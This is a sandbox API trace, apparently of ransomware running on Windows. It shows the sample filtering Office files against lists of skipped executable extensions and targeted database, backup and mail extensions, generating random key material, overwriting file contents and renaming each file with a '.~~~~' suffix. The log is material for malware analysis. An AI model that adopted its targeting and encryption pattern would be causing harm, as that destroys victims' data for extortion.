	[0140.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF", lpSrch=".BAC") returned 0x0
	[0140.378] lstrlenW (lpString=".dbs") returned 4
	[0140.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF", lpSrch=".dbs") returned 0x0
	[0140.378] lstrlenW (lpString=".vhdx") returned 5
	[0140.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF", lpSrch=".vhdx") returned 0x0
	[0140.378] lstrlenW (lpString=".NDF") returned 4
	[0140.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF", lpSrch=".NDF") returned 0x0
	[0140.378] lstrlenW (lpString=".dat") returned 4
	[0140.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF", lpSrch=".dat") returned 0x0
	[0140.378] lstrlenW (lpString=".DBS") returned 4
	[0140.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF", lpSrch=".DBS") returned 0x0
	[0140.378] lstrlenW (lpString=".CKP") returned 4
	[0140.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF", lpSrch=".CKP") returned 0x0
	[0140.378] lstrlenW (lpString=".edb") returned 4
	[0140.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF", lpSrch=".edb") returned 0x0
	[0140.378] lstrlenW (lpString=".PST") returned 4
	[0140.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF", lpSrch=".PST") returned 0x0
	[0140.378] lstrlenW (lpString=".dbf") returned 4
	[0140.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF", lpSrch=".dbf") returned 0x0
	[0140.378] lstrlenW (lpString=".SQL") returned 4
	[0140.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF", lpSrch=".SQL") returned 0x0
	[0140.378] lstrlenW (lpString=".pst") returned 4
	[0140.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF", lpSrch=".pst") returned 0x0
	[0140.378] lstrlenW (lpString=".dbv") returned 4
	[0140.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF", lpSrch=".dbv") returned 0x0
	[0140.379] lstrlenW (lpString=".SDF") returned 4
	[0140.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF", lpSrch=".SDF") returned 0x0
	[0140.379] lstrlenW (lpString=".dtxs") returned 5
	[0140.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF", lpSrch=".dtxs") returned 0x0
	[0140.379] lstrlenW (lpString=".db3") returned 4
	[0140.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF", lpSrch=".db3") returned 0x0
	[0140.379] lstrlenW (lpString=".OST") returned 4
	[0140.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF", lpSrch=".OST") returned 0x0
	[0140.379] lstrlenW (lpString=".dbx") returned 4
	[0140.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF", lpSrch=".dbx") returned 0x0
	[0140.379] lstrlenW (lpString=".DB3") returned 4
	[0140.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF", lpSrch=".DB3") returned 0x0
	[0140.379] lstrlenW (lpString=".DAT") returned 4
	[0140.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF", lpSrch=".DAT") returned 0x0
	[0140.379] lstrlenW (lpString=".VHDX") returned 5
	[0140.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF", lpSrch=".VHDX") returned 0x0
	[0140.379] lstrlenW (lpString=".ndf") returned 4
	[0140.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF", lpSrch=".ndf") returned 0x0
	[0140.379] lstrlenW (lpString=".DB") returned 3
	[0140.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF", lpSrch=".DB") returned 0x0
	[0140.379] lstrlenW (lpString=".sql") returned 4
	[0140.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF", lpSrch=".sql") returned 0x0
	[0140.379] lstrlenW (lpString=".MYD") returned 4
	[0140.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF", lpSrch=".MYD") returned 0x0
	[0140.379] lstrlenW (lpString=".DBT") returned 4
	[0140.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF", lpSrch=".DBT") returned 0x0
	[0140.379] lstrlenW (lpString=".ACCDB") returned 6
	[0140.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF", lpSrch=".ACCDB") returned 0x0
	[0140.379] lstrlenW (lpString=".fdb") returned 4
	[0140.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF", lpSrch=".fdb") returned 0x0
	[0140.379] lstrlenW (lpString=".bak") returned 4
	[0140.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF", lpSrch=".bak") returned 0x0
	[0140.380] lstrlenW (lpString=".myd") returned 4
	[0140.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF", lpSrch=".myd") returned 0x0
	[0140.380] lstrlenW (lpString=".DTXS") returned 5
	[0140.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF", lpSrch=".DTXS") returned 0x0
	[0140.380] lstrlenW (lpString=".ckp") returned 4
	[0140.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF", lpSrch=".ckp") returned 0x0
	[0140.380] lstrlenW (lpString=".dbt") returned 4
	[0140.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF", lpSrch=".dbt") returned 0x0
	[0140.380] lstrlenW (lpString=".db") returned 3
	[0140.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF", lpSrch=".db") returned 0x0
	[0140.380] lstrlenW (lpString=".TXT") returned 4
	[0140.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF", lpSrch=".TXT") returned 0x0
	[0140.380] lstrlenW (lpString=".MDF") returned 4
	[0140.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF", lpSrch=".MDF") returned 0x0
	[0140.380] lstrlenW (lpString=".bdb") returned 4
	[0140.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF", lpSrch=".bdb") returned 0x0
	[0140.380] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0140.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0140.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0140.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0140.380] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394b08) returned 1
	[0140.381] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0140.381] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0140.381] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0140.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0140.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0140.381] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=26037158492) returned 1
	[0140.382] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbd14d090, dwHighDateTime=0x1d60e1e)) 
	[0140.382] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0140.382] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0140.382] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0140.382] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x38d4c8
	[0140.382] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0140.382] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38d4c8 | out: hHeap=0x300000) returned 1
	[0140.382] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0140.382] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0140.382] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29b09d0
	[0140.382] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0140.382] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6380
	[0140.382] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b09d0 | out: hHeap=0x300000) returned 1
	[0140.382] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0140.382] GetLastError () returned 0x0
	[0140.383] GetLastError () returned 0x0
	[0140.383] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0140.383] GetLastError () returned 0x0
	[0140.383] GetLastError () returned 0x0
	[0140.383] ReadFile (in: hFile=0x108, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x24dfec0*=0xc4f, lpOverlapped=0x0) returned 1
	[0140.385] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0xfffff3b1, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.385] WriteFile (in: hFile=0x108, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0xc4f, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x24dfec0*=0xc4f, lpOverlapped=0x0) returned 1
	[0140.385] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0140.385] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.385] WriteFile (in: hFile=0x108, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0140.385] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0140.385] WriteFile (in: hFile=0x108, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0140.385] CloseHandle (hObject=0x108) returned 1
	[0140.386] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29b09d0
	[0140.386] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir19f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir19f.gif.~~~~")) returned 1
	[0140.388] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b09d0 | out: hHeap=0x300000) returned 1
	[0140.388] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0140.388] GetLastError () returned 0x0
	[0140.388] RtlWakeConditionVariable () returned 0x0
	[0140.388] GetCurrentThreadId () returned 0x3a4
	[0140.388] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF", lpSrch=".scr") returned 0x0
	[0140.388] lstrlenW (lpString=".cmd") returned 4
	[0140.388] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF", lpSrch=".cmd") returned 0x0
	[0140.388] lstrlenW (lpString=".dll") returned 4
	[0140.388] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF", lpSrch=".dll") returned 0x0
	[0140.388] lstrlenW (lpString=".bat") returned 4
	[0140.388] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF", lpSrch=".bat") returned 0x0
	[0140.388] lstrlenW (lpString=".cpl") returned 4
	[0140.388] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF", lpSrch=".cpl") returned 0x0
	[0140.388] lstrlenW (lpString=".sys") returned 4
	[0140.388] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF", lpSrch=".sys") returned 0x0
	[0140.388] lstrlenW (lpString=".msc") returned 4
	[0140.388] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF", lpSrch=".msc") returned 0x0
	[0140.388] lstrlenW (lpString=".com") returned 4
	[0140.389] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF", lpSrch=".com") returned 0x0
	[0140.389] lstrlenW (lpString=".lnk") returned 4
	[0140.389] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF", lpSrch=".lnk") returned 0x0
	[0140.389] lstrlenW (lpString=".msp") returned 4
	[0140.389] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF", lpSrch=".msp") returned 0x0
	[0140.389] lstrlenW (lpString=".pif") returned 4
	[0140.389] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF", lpSrch=".pif") returned 0x0
	[0140.389] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0140.389] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0140.389] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir1b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
	[0140.390] lstrlenW (lpString=".sqb") returned 4
	[0140.390] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF", lpSrch=".sqb") returned 0x0
	[0140.390] lstrlenW (lpString=".ost") returned 4
	[0140.390] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF", lpSrch=".ost") returned 0x0
	[0140.390] lstrlenW (lpString=".txt") returned 4
	[0140.390] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF", lpSrch=".txt") returned 0x0
	[0140.390] lstrlenW (lpString=".mdt") returned 4
	[0140.390] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF", lpSrch=".mdt") returned 0x0
	[0140.391] lstrlenW (lpString=".BDB") returned 4
	[0140.391] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF", lpSrch=".BDB") returned 0x0
	[0140.391] lstrlenW (lpString=".eql") returned 4
	[0140.391] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF", lpSrch=".eql") returned 0x0
	[0140.391] lstrlenW (lpString=".DBF") returned 4
	[0140.391] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF", lpSrch=".DBF") returned 0x0
	[0140.391] lstrlenW (lpString=".EQL") returned 4
	[0140.391] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF", lpSrch=".EQL") returned 0x0
	[0140.391] lstrlenW (lpString=".FDB") returned 4
	[0140.391] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF", lpSrch=".FDB") returned 0x0
	[0140.391] lstrlenW (lpString=".EDB") returned 4
	[0140.391] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF", lpSrch=".EDB") returned 0x0
	[0140.391] lstrlenW (lpString=".DACPAC") returned 7
	[0140.391] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF", lpSrch=".DACPAC") returned 0x0
	[0140.391] lstrlenW (lpString=".VHD") returned 4
	[0140.391] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF", lpSrch=".VHD") returned 0x0
	[0140.391] lstrlenW (lpString=".DBV") returned 4
	[0140.391] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF", lpSrch=".DBV") returned 0x0
	[0140.391] lstrlenW (lpString=".dacpac") returned 7
	[0140.391] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF", lpSrch=".dacpac") returned 0x0
	[0140.391] lstrlenW (lpString=".sdf") returned 4
	[0140.391] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF", lpSrch=".sdf") returned 0x0
	[0140.391] lstrlenW (lpString=".accdb") returned 6
	[0140.391] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF", lpSrch=".accdb") returned 0x0
	[0140.391] lstrlenW (lpString=".DBX") returned 4
	[0140.391] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF", lpSrch=".DBX") returned 0x0
	[0140.391] lstrlenW (lpString=".MDT") returned 4
	[0140.391] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF", lpSrch=".MDT") returned 0x0
	[0140.391] lstrlenW (lpString=".SQB") returned 4
	[0140.391] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF", lpSrch=".SQB") returned 0x0
	[0140.391] lstrlenW (lpString=".vhd") returned 4
	[0140.391] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF", lpSrch=".vhd") returned 0x0
	[0140.391] lstrlenW (lpString=".bac") returned 4
	[0140.391] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF", lpSrch=".bac") returned 0x0
	[0140.391] lstrlenW (lpString=".mdf") returned 4
	[0140.391] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF", lpSrch=".mdf") returned 0x0
	[0140.392] lstrlenW (lpString=".BAK") returned 4
	[0140.392] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF", lpSrch=".BAK") returned 0x0
	[0140.392] lstrlenW (lpString=".BAC") returned 4
	[0140.392] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF", lpSrch=".BAC") returned 0x0
	[0140.392] lstrlenW (lpString=".dbs") returned 4
	[0140.392] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF", lpSrch=".dbs") returned 0x0
	[0140.392] lstrlenW (lpString=".vhdx") returned 5
	[0140.392] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF", lpSrch=".vhdx") returned 0x0
	[0140.392] lstrlenW (lpString=".NDF") returned 4
	[0140.392] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF", lpSrch=".NDF") returned 0x0
	[0140.392] lstrlenW (lpString=".dat") returned 4
	[0140.392] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF", lpSrch=".dat") returned 0x0
	[0140.392] lstrlenW (lpString=".DBS") returned 4
	[0140.392] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF", lpSrch=".DBS") returned 0x0
	[0140.392] lstrlenW (lpString=".CKP") returned 4
	[0140.392] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF", lpSrch=".CKP") returned 0x0
	[0140.392] lstrlenW (lpString=".edb") returned 4
	[0140.392] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF", lpSrch=".edb") returned 0x0
	[0140.392] lstrlenW (lpString=".PST") returned 4
	[0140.392] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF", lpSrch=".PST") returned 0x0
	[0140.392] lstrlenW (lpString=".dbf") returned 4
	[0140.392] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF", lpSrch=".dbf") returned 0x0
	[0140.392] lstrlenW (lpString=".SQL") returned 4
	[0140.392] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF", lpSrch=".SQL") returned 0x0
	[0140.392] lstrlenW (lpString=".pst") returned 4
	[0140.392] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF", lpSrch=".pst") returned 0x0
	[0140.392] lstrlenW (lpString=".dbv") returned 4
	[0140.392] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF", lpSrch=".dbv") returned 0x0
	[0140.392] lstrlenW (lpString=".SDF") returned 4
	[0140.392] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF", lpSrch=".SDF") returned 0x0
	[0140.392] lstrlenW (lpString=".dtxs") returned 5
	[0140.392] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF", lpSrch=".dtxs") returned 0x0
	[0140.392] lstrlenW (lpString=".db3") returned 4
	[0140.393] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF", lpSrch=".db3") returned 0x0
	[0140.393] lstrlenW (lpString=".OST") returned 4
	[0140.403] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF", lpSrch=".OST") returned 0x0
	[0140.403] lstrlenW (lpString=".dbx") returned 4
	[0140.403] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF", lpSrch=".dbx") returned 0x0
	[0140.403] lstrlenW (lpString=".DB3") returned 4
	[0140.405] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF", lpSrch=".DB3") returned 0x0
	[0140.405] lstrlenW (lpString=".DAT") returned 4
	[0140.405] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF", lpSrch=".DAT") returned 0x0
	[0140.405] lstrlenW (lpString=".VHDX") returned 5
